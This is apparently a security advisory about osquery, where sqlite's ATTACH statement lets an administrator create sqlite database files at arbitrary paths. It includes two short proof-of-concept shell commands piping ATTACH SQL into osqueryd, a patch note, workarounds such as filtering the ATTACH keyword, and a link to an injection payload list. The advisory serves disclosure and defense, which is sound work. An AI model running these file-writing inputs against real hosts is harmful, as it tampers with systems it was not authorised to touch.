Impact

By using sqlite's ATTACH verb, someone with administrative access to osquery can cause reads and writes to arbitrary sqlite databases on disk. This does allow arbitrary files to be created, but they will be sqlite databases.

It does not appear to allow existing non-sqlite files to be overwritten.

Create new files:

$ ls  /tmp/out.db; echo "ATTACH DATABASE '/tmp/out.db' AS o; CREATE TABLE o.out (a text); INSERT INTO o.out (a) VALUES('hello world');" | osqueryd -S ; ls /tmp/out.db 
ls: /tmp/out.db: No such file or directory
/tmp/out.db

Existing non-sqlite files:

$ echo "ATTACH DATABASE '/tmp/existing' AS o; CREATE TABLE o.out (a text); INSERT INTO o.out (a) VALUES('hello world');" | osqueryd -S  
Error: near line 1: file is not a database

Patches

This has been patched in osquery 4.6.0.

Workarounds

• In some deployments, the people with access to these interfaces may be considered administrators.
• In some deployments, configuration is managed by a central tool. This tool can filter for the ATTACH keyword
• osquery can be run as non-root user. Because this also limits the desired access levels, this requires deployment specific testing and configuration.

References

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#remote-command-execution-using-sqlite-command---load_extension